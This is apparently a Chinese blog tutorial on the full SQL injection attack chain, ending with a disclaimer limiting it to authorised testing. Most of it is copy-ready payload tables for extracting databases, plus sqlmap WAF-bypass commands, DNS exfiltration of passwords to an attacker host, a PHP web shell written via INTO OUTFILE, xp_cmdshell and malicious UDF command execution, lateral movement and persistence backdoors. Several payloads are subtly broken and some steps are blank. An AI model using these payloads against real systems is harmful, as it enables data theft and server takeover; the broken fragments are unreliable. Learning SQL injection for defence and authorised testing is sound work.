各位安全研究员、代码设计师以及渗透测试爱好者们,今天我们讲SQL注入共同解剖SQL注入的完整攻击链。我们不会停留在简单的 ' OR '1'='1 ,而是要深入骨髓,从漏洞发现到最终拿下服务器高级权限,一步步拆解,全程高能,偏重于实战与深度漏洞挖掘。
目前博主也是在学习阶段,有讲得不对或者不够清晰的地方还望各位大佬在评论区指点!
推荐刚入门的同志们先去了解一下sql语法!
目录
阶段一:侦察与指纹识别 - 寻找注入点
攻击思路:
在发动任何攻击之前,盲目的扫描是无用功。此阶段的核心思路是:将每一个用户输入点都视为潜在的攻击向量,并通过系统性的手法验证其是否存在SQL注入漏洞。这不仅仅是提交一个单引号那么简单,而是理解应用程序如何与数据库交互,并寻找其逻辑上的薄弱环节。
攻击手法与实战细节:
1.目标枚举与参数发现:
使用爬虫工具(如Burp Suite的爬虫、gospider)或者手动浏览,收集所有可能的输入点。这包括:
- GET/POST参数:最经典的id=1 , search=keyword。
- HTTP头部: 经常被忽略的 User-Agent ,X-Forwarded-For ,Referer , Cookie.
- RESTful API端点:
/users/123,/api/v1/products/456。
Burp Suite配置自动监测插件,DetSql是基于 BurpSuite Java 插件 API 开发的 SQL 注入探测插件,主要作用为快速从 http 流量中筛选出可能存在 SQL 注入的请求,在尽可能减少拦截的情况下提高 SQL 注入测试效率。

2.数据库指纹识别:
在确认注入点前或后,通过报错信息或特定于数据库的函数/语法来识别后端数据库类型。这是至关重要的。因为Payload的构造因数据库而异。
使用的SQL语句与测试方式:
MySQL:
- 报错触发: ' AND (SELECT 1 FROM (SELECT SLEEP(5))a)--
这是时间盲注探测,若页面响应延迟约5秒,则表明存在漏洞且后端可能是MySQL数据库
- 版本查询: ' UNION SELECT @@version, null -- 如果报错信息直接返回,可能包含Mysql关键字
这是联合查询注入,目的是直接让数据库版本显示在页面特定位置
- 字符串连接:
' AND 'foo' = 'foo(正常) 对比' AND 'foo' = 'bar (异常)
这是布尔盲注探测,通过观察页面真/假两种状态的差异来判断条件是否成立
Microsoft SQL Server:
-
报错触发:
' AND (SELECT db_name(0)) > 1-- -
报错注入。故意制造一个类型转换错误(试图将数据库名
db_name(0)与数字1比较),如果网站显示详细错误信息,其中可能包含当前数据库的名称
-
版本查询:
' UNION SELECT @@version, null-- -。 错误信息中常见Microsoft SQL Server。
联合查询注入。用于直接获取并显示SQL Server的详细版本信息。前提是您已探明查询结果的列数,并使
UNION SELECT后的列数与之相同(此例中为两列,故用null补位)
-
字符串连接:使用
+号,如' AND 'ab' + 'cd' = 'abcd'-- -。
布尔盲注探测。用于验证注入点以及确认数据库为SQL Server (因为+是SQL Server的字符串连接符)。通过观察页面在条件为真(‘a’+'cd'等于'abcd')和为假(如‘ab’+‘cd’=‘xyz’)时的差异,来判断逻辑是否被执行。
PostgreSQL:
-
版本查询:
' UNION SELECT version(), null-- -。 -
函数调用:使用
PG_SLEEP(5)进行时间盲注测试。
Oracle:
-
版本查询:
' UNION SELECT banner FROM v$version WHERE rownum=1, null FROM DUAL-- -。 -
从虚拟表查询:
FROM DUAL是Oracle的特色。
3.初步注入验证
使用一组精心设计的Payload,观察应用程序的响应变化,而不仅仅是看“报错”。
SQL语法与测试方式:
逻辑真/假测试:
-
id=1 AND 1=1-> 页面正常(真) -
id=1 AND 1=2-> 页面内容改变或空白(假) -
这表明参数
id可能被直接拼接进了SQL语句。
类型混淆测试:
-
id=1(正常) -
id=1'-> 出现数据库语法错误(直接暴露信息) -
id=1'-- --> 页面恢复正常(说明注释符消除了语法错误,是强注入信号)
边界案例测试:
-
测试数字型、字符串型(带引号)、搜索型(带
%)、Order By型注入
漏洞挖掘深度知识点:
二阶SQL注入:你的注入第一次被存入数据库时被正确转义了,但当应用程序从数据库取出数据并再次用于另一个SQL查询时,注入发生。挖掘方式:在用户资料、评论等可持久化储存的地方插入Payload,然后观察应用其他部分(如管理员审核评论时)是否会触发。
NoSQL注入:针对MongoDB、CouchDB等,payload完全不同。例如,MongoDB中,
{"$ne": "correctPassword"} 可能被用于绕过登录。测试时,需要将请求的Content-Type改为application/json,并发送JSON格式的恶意查询。
盲注的初步判断: 即使没有错误信息,通过AND SLEEP(5)或AND (SELECT COUNT(*) FROM information_schema.tables) > 0等,观察响应时间或页面内容细微差异,为下一阶段的深度利用做准备。
阶段二:漏洞利用与数据提取 - 从注入点到信息泄露
攻击思路:
确认注入点后,本阶段的目的是最大化地利用这个漏洞,从数据库中提取敏感信息。我们将根据第一阶段识别的数据库类型和环境(是否回显错误、是联合查询还是盲注),选择最优的攻击路径。
攻击手法与实战细节:
1.确认注入类型与利用技术:
联合查询注入:
思路:如果应用程序将数据库查询结果直接显示在页面上,这就是最直接有效的方式。
SQL语法:
确认列数: ' ORDER BY 3 -- 不断增加数字,直到报错,从而确认查询的列数

(例如,ORDER BY 3成功,ORDER BY 4失败,则列数为3)。

确定显示位: ' UNION SELECT 1,2,3,4-- -。 观察页面中哪个数字被显示出来,这些位置就是我们输出数据的位置。


确定显示位: ' UNION SELECT 1,2,3 --+。 观察页面中哪个数字被显示出来,这些位置就是我们输出数据的位置。
提取数据:
' UNION SELECT table_name, null, null FROM information_schema.tables--+
将显示位替换为我们想要查询的数据。
实战: 在MySQL中,利用information_schema数据库是核心。例如,获取所有数据库名:
' UNION SELECT schema_name, null FROM information_schemata.schemata
接着获取表名:

再获取列名:
最后提取数据:' UNION SELECT username, password FROM users
总结
| 步骤 | 目的 | 一句语法(直接替换列数/库名/表名即可) |
|---|---|---|
| 1. 列数 | 确认 SELECT 返回几列 | ' ORDER BY 3--+(逐次增大,报错前一值即列数) |
| 2. 显示位 | 看哪几列会回显到页面 | ' UNION SELECT 1,2,3,4,5--+(数字换成第1步得到的列数) |
| 3. 库名 | 列出所有数据库 | ' UNION SELECT schema_name,null,null,null FROM information_schema.schemata--+ |
| 4. 表名 | 拿指定库的所有表 | ' UNION SELECT table_name,null,null,null FROM information_schema.tables WHERE table_schema='target_db'--+ |
| 5. 列/数据 | 先列名,再最终数据 | 列名:' UNION SELECT column_name,null,null FROM information_schema.columns WHERE table_name='users'--+数据: ' UNION SELECT username,password,null,null FROM users--+ |
| 语法片段 | 出现步骤 | 在本次查询中的具体作用 |
|---|---|---|
ORDER BY x | 列数探测 | 利用“排序列号越界报错”判断原始 SELECT 返回的列数。 |
UNION SELECT | 把攻击者构造的查询结果拼接到原查询后,从而把数据回显到页面。 | |
1,2,3,4,5(数字占位) | 显示位 | 用可识别的常量占住每一列,观察页面出现哪几个数字,即可知哪几列会回显。 |
information_schema.schemata | 拖库名 | 系统表,一行一个数据库,取出 schema_name 就能列出全部库。 |
information_schema.tables 和 table_schema='<指定数据库名>' | 拖表名 | 系统表,过滤指定库后,一行一个表,取出 table_name 得到该库下所有表。 |
information_schema.columns 和 table_name='<指定表>' | 拖列名 | 系统表,过滤指定表后,一行一个列,取出 column_name 得到该表所有字段。 |
SELECT username,password FROM users | 拖数据 | 已知库.表.字段后,直接把想要的数据放在回显位,完成最终信息窃取。 |
报错注入:
思路: 当页面不显示查询结果,但会回显数据库错误信息时,通过故意触发SQL错误,并将查询结果嵌入到错误信息中带出。
使用的SQL语法(以MySQL为例):
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT version()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
' AND updatexml(1, CONCAT(0x7e, (SELECT @@version), 0x7e), 1)-- -
报错注入非常适合在无法使用联合查询时,快速提取关键信息片段(如数据库版本、当前用户、特定表的一条数据)。
MySQL 报错注入「一条龙」速查表
| 步骤 | 目标 | 一句即用语法(部分按需替换) | 说明/细节 |
|---|---|---|---|
| 探列数 | 让后面 AND 不报错 | ' 或 " 先给引号,再用 AND 1=1-- -、AND 1=2-- - 看是否回显不同;若正常则列数已对齐,可直接报错注入。 | |
| 爆库版本 | 验证报错通道 | ' AND updatexml(1,CONCAT(0x7e,VERSION(),0x7e),1)--+ | 成功则在错误里看到 ~5.7.38~ 之类。 |
| 爆当前库 | 先缩小范围 | ' AND updatexml(1,CONCAT(0x7e,DATABASE(),0x7e),1)--+ | 得到当前库名,如 security。 |
| 爆表名 | 一次拿 1 条,用 LIMIT 翻 | ' AND updatexml(1,CONCAT(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),0x7e),1)--+ | 改 LIMIT 1,1、2,1 … 循环拿到全部表。 |
| 爆列名 | 同上,换查询 | ' AND updatexml(1,CONCAT(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),0x7e),1)--+ | 循环拿到 username、password 等。 |
| 爆数据 | 把字段值拼进来 | ' AND updatexml(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM security.users LIMIT 0,1),0x7e),1)--+ | 得到 admin:5f4dcc3b5aa765d61d8327deb882cf99 等。 |
| 超长截断 | 突破 32 字符限制 | ' AND updatexml(1,CONCAT(0x7e,MID((SELECT flag FROM flag.table LIMIT 0,1),31,30),0x7e),1)--+ | 用 MID/Substring 分段取,超过 32 字符也能拖。 |
| 备用函数 | updatexml 被过滤 | ' AND extractvalue(1,CONCAT(0x7e,VERSION(),0x7e))--+ | extractvalue 与 updatexml 用法一致。 |
| 二次回显 | 无 xpath 函数 | ' AND (SELECT 1 FROM (SELECT COUNT(),CONCAT((SELECT @@version),0x3a,FLOOR(RAND(0)2))x FROM information_schema.tables GROUP BY x)a)--+ | 利用 duplicate entry 报错,同样能把数据带出来。 |
布尔盲注:
思路: 页面没有回显和错误,但可以根据我们注入的语句是真还是假,返回不同的页面内容(如“存在”或“不存在”)。
1.库名总长度:
' AND (SELECT LENGTH(DATABASE()))=8--+
把 8 换成任意数字直到页面正常
2.库版本第 1 字符:
' AND (SELECT SUBSTRING((SELECT version() ),1,1))='<字符>'--+
把 字符 换成任意字符继续猜 a-z/A-Z/0-9等,直到正常返回
3.当前库第 n 个表名长度
' AND (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT <n-1>,1)=<长度数字>--+
把 <n-1> 换成 0/1/2…(第 1 个表用 0),<长度数字> 换成 1-∞ 直到正常
当前库第 n 个表名第 x位字符
' AND (SELECT SUBSTRING(table_name,<1>,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT <n-1>,1)='<字符>'--+
把 <x> 换成 1/2/3…(第几位),<n-1> 同上,<字符> 换成 a-z/A-Z/0-9/_ 等直到正常。目的fuzz出数据库的某个表表名
<指定表> 第 n 列名长度
' AND (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_schema='<指定数据库>' AND table_name='<指定表>' LIMIT <n-1>,1)=<长度数字>--+
把 <指定数据库>、<指定表>、<n-1>、<长度数字> 换成实际值。
<指定表> 第 n 列名第 x位字符
' AND (SELECT SUBSTRING(column_name,<x>,1) FROM information_schema.columns WHERE table_schema='<指定数据库>' AND table_name='<指定表>' LIMIT <n-1>,1)='<字符>'--+
把 <x>、<字符> 同上按需替换。
看得有点乱?没关系还有其他的方式
| 步骤 | 目标 | 一句即用模板(只改尖括号内容) | 正常/异常怎么看 |
|---|---|---|---|
| 1. 探列数 | 让后续 AND 不报错 | xyz' ORDER BY <数字>--+ | 正常 vs 报错 → 最大不报错数字即列数 |
| 2. 布尔通道确认 | 验证真假差异 | xyz' AND 1=1--+ / xyz' AND 1=2--+ | 两次响应不同 → 可用布尔盲注 |
| 3. 库名长度 | 先拿到当前库名字长度 | xyz' AND LENGTH(DATABASE())=<长度数字>--+ | 正常即长度正确 |
| 4. 库名逐字符 | 一位位拖库名 | xyz' AND SUBSTRING(DATABASE(),<k>,1)='<字符>'--+ | <k>第几位,<字符>a-z/0-9/_ 试到正常 |
| 5. 表数量 | 知多少张表 | xyz' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE())=<数量>--+ | 正常即表数量 |
| 6. 第 n 表长度 | 锁定表名长度 | xyz' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT <n-1>,1))=<长度数字>--+ | <n-1> 从 0 开始 |
| 7. 第 n 表第 k 字符 | 拖表名 | xyz' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT <n-1>,1),<k>,1)='<字符>'--+ | 同上暴力字母 |
| 8. 列数量 | 目标表列数 | xyz' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='<指定库>' AND table_name='<指定表>')=<数量>--+ | 填库名、表名、数量 |
| 9. 第 n 列长度 | 列名长度 | xyz' AND LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema='<指定库>' AND table_name='<指定表>' LIMIT <n-1>,1))=<长度数字>--+ | 改 <n-1>、<长度数字> |
| 10. 第 n 列第 k 字符 | 列名 | xyz' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema='<指定库>' AND table_name='<指定表>' LIMIT <n-1>,1),<k>,1)='<字符>'--+ | 逐字母跑 |
| 11. 数据行数 | 知多少条记录 | xyz' AND (SELECT COUNT(*) FROM <指定表>)=<数量>--+ | 填表名、数量 |
| 12. 第 n 行字段长度 | 字段值长度 | xyz' AND LENGTH((SELECT <指定列> FROM <指定表> LIMIT <n-1>,1))=<长度数字>--+ | 填列名、表名、行号、长度 |
| 13. 第 n 行第 k 字符 | 拖数据 | xyz' AND SUBSTRING((SELECT <指定列> FROM <指定表> LIMIT <n-1>,1),<k>,1)='<字符>'--+ | 逐字符跑完整条数据 |
这里推荐多去靶场练习,把经常用的语法记录下来,多打多练自然就记住了
这是一个逐位、逐字符的猜解过程,极其繁琐,必须使用自动化工具(如sqlmap, 或自定义Python脚本)。核心是编写一个能够根据页面差异(长度、关键词、HTML结构)判断True/False的算法。
时间盲注:
思路: 连页面内容差异都没有,只能通过让数据库执行延迟函数,根据响应时间来判断注入语句的真假
Microsoft SQL Server数据库: '; IF (1=1) WAITFOR DELAY '0:0:<秒>'--+
条件真→延迟 <秒> 秒;假→立即返回。
通用布尔转延迟: '; IF (<条件>) WAITFOR DELAY '0:0:<秒>'--+
把 <条件> 换成任何布尔子查询,如 SUBSTRING(Password,1,1)='a'
逐字符拖数据: '; IF (SELECT COUNT(*) FROM Users WHERE Username='Administrator' AND SUBSTRING(Password,<k>,1)='<字符>')=1 WAITFOR DELAY '0:0:<秒>'--+
<k> 第几位,<字符> 从 a-z/0-9 跑,出现延迟即命中。
2.自动化工具(sqlmap)的深度使用:
-
思路: 手动注入用于理解和验证,但数据提取阶段应善用工具提升效率。
-
实战命令示例:
-
基础检测:
sqlmap -u "http://example.com/page?id=1" -
指定数据库类型:
sqlmap -u ... --dbms=mysql -
获取所有数据库:
sqlmap -u ... --dbs -
获取当前数据库的表:
sqlmap -u ... -D target_db --tables -
获取表的列:
sqlmap -u ... -D target_db -T users --columns -
dump数据:
sqlmap -u ... -D target_db -T users -C username,password --dump -
处理复杂请求:
sqlmap -r request.txt(将Burp抓到的完整请求保存到文件) -
绕过WAF:
sqlmap -u ... --tamper=space2comment,charencode --level=5 --risk=3
-
具体可以看看以前的文章,有详细介绍怎么使用Sqlmap
漏洞挖掘深度知识点:
OOB(带外)数据渗出: 在网络隔离极其严格,无法通过HTTP响应直接回传数据时使用。通过SQL语句触发一个到外域DNS或HTTP请求,将数据作为请求的一部分带出。例如,在MySQL中可以利用LOAD_FILE()函数去请求一个包含查询结果的URL:
' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.your-attacker-server.com\\test'))-- -
你在你的DNS日志中就能看到密码。
过滤绕过技巧:
-
大小写混淆:
UnIoN SeLeCt -
内联注释:
/*!UNION*/ /*!SELECT*/(MySQL特有) -
URL编码/双重URL编码:
%55nion->U%6Eion -
使用非常见函数/语法: 如果
UNION和SELECT被过滤,尝试使用AND的布尔盲注或报错注入。
如果有需要的话可以出一篇专门讲绕过技巧的
阶段三:权限提升与横向移动 - 从数据库到操作系统
攻击思路:
提取数据(如用户名和密码哈希)只是开始。本阶段的终极目标是突破数据库的沙箱,获得在数据库服务器乃至整个内网中执行命令的能力。这需要数据库本身存在高权限配置,并利用其高级功能。
攻击手法与实战细节:
1.数据库权限评估:
思路: 确认当前数据库用户的权限级别,判断是否具备文件读写、命令执行等高危操作的资格。
使用的SQL语法:
-
MySQL:
SELECT CURRENT_USER();或SELECT SUPER_PRIV FROM mysql.user WHERE user = CURRENT_USER();(查看是否有SUPER权限)。SELECT file_priv FROM mysql.user WHERE user = CURRENT_USER();(查看是否有FILE权限)。 -
MSSQL:
SELECT IS_SRVROLEMEMBER('sysadmin');(是否为系统管理员)。SELECT HAS_DBACCESS('master');(是否能访问系统数据库)。 -
PostgreSQL:
SELECT current_user;通常PostgreSQL以低权限运行,需要超级用户权限才能执行命令。
2.文件系统操作:
思路: 如果具备FILE权限,可以读取服务器上的敏感文件,或写入Web Shell。
SQL语法与实战:
MySQL读取文件: ' UNION SELECT LOAD_FILE('/etc/passwd'), null-- -
MySQL写入Web Shell: 这是拿下Web服务器的关键一步。
前提:知道网站的绝对路径(可以通过报错、漏洞扫描或读取服务器配置文件猜解)。
Payload:
' UNION SELECT "<?php system($_GET['cmd']); ?>", null INTO OUTFILE '/var/www/html/shell.php'-- -访问
http://target.com/shell.php?cmd=whoami,即可执行系统命令。
PostgreSQL: 使用COPY或pg_read_file()函数读写文件。
MSSQL: 使用xp_cmdshell(如果启用)或OPENROWSET进行文件访问。
3.操作系统命令执行:
这是权限提升的“皇冠”,直接获得一个系统Shell。
SQL语法:
MSSQL - xp_cmdshell:
首先检查是否启用:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell';如果未启用,尝试启用:
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;执行命令:
EXEC xp_cmdshell 'whoami';
MySQL - 利用UDF(用户自定义函数):
这是一个更复杂但强大的技术。由于MySQL默认没有命令执行函数,需要我们自己编译或寻找一个恶意的共享库(.dll for Windows, .so for Linux)。
步骤:
将恶意共享库写入到数据库服务器的插件目录(通过
SELECT @@plugin_dir查询)。使用
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf_sys_exec.so';从共享库中创建函数。现在可以像调用普通函数一样执行命令:
SELECT sys_exec('whoami');
自动化工具如sqlmap可以自动完成这个过程:sqlmap -u ... --os-cmd=whoami --os-shell
PostgreSQL: 如果以超级用户运行,可以使用COPY FROM PROGRAM或CREATE FUNCTION配合C语言扩展来执行命令。
4.横向移动:
你已经获得了数据库服务器的控制权。现在,以它为跳板,攻击内网中的其他机器。
实战:
-
信息收集: 在数据库服务器上执行
ipconfig /all(Windows) 或ifconfig/ip addr(Linux) 查看内网网段。 -
ARP扫描: 上传
nmap等工具,对内网进行扫描:nmap -sn 192.168.1.0/24。 -
密码重用: 检查数据库连接字符串、配置文件,可能包含应用服务器、其他数据库的明文密码。
-
哈希传递/票据传递: 在Windows域环境中,如果数据库服务是以域账户运行的,你可能能dump出内存中的Kerberos票据或NTLM哈希,用于访问其他域资源。
漏洞挖掘深度知识点:
利用数据库链接: 在MSSQL中,可以创建到另一台SQL服务器的链接服务器。如果你控制了第一台,可能通过链接服务器在第二台上执行查询甚至命令,实现横向移动。
CLR集成(MSSQL): 允许在SQL Server中运行.NET代码,这为攻击者提供了一个强大的命令执行途径。
权限维持: 在数据库层面,可以创建隐藏的存储过程、触发器(例如,在用户登录时后门触发),或者在操作系统层面,创建计划任务、服务等,确保即使漏洞被修复,我们依然能保持访问。
总结
一条完整的SQL注入攻击链,从最初的参数侦察,到中期的数据渗出,再到最后的权限提升与横向移动,环环相扣,深度和广度都远超常人想象。作为一名渗透测试人员或安全研究员,理解并掌握这条攻击链的每一个环节,不仅能让你更有效地发现和利用漏洞,更能让你深刻理解防御体系的构建重点。
记住,发现漏洞是开始,而不是结束。 真正的艺术在于,如何将一个看似微不足道的注入点,转化为对整个网络基础设施的完全控制。
免责声明: 本文所有技术内容仅用于教育、安全研究和授权的渗透测试。未经授权对任何系统进行测试或攻击均属违法行为。
3262





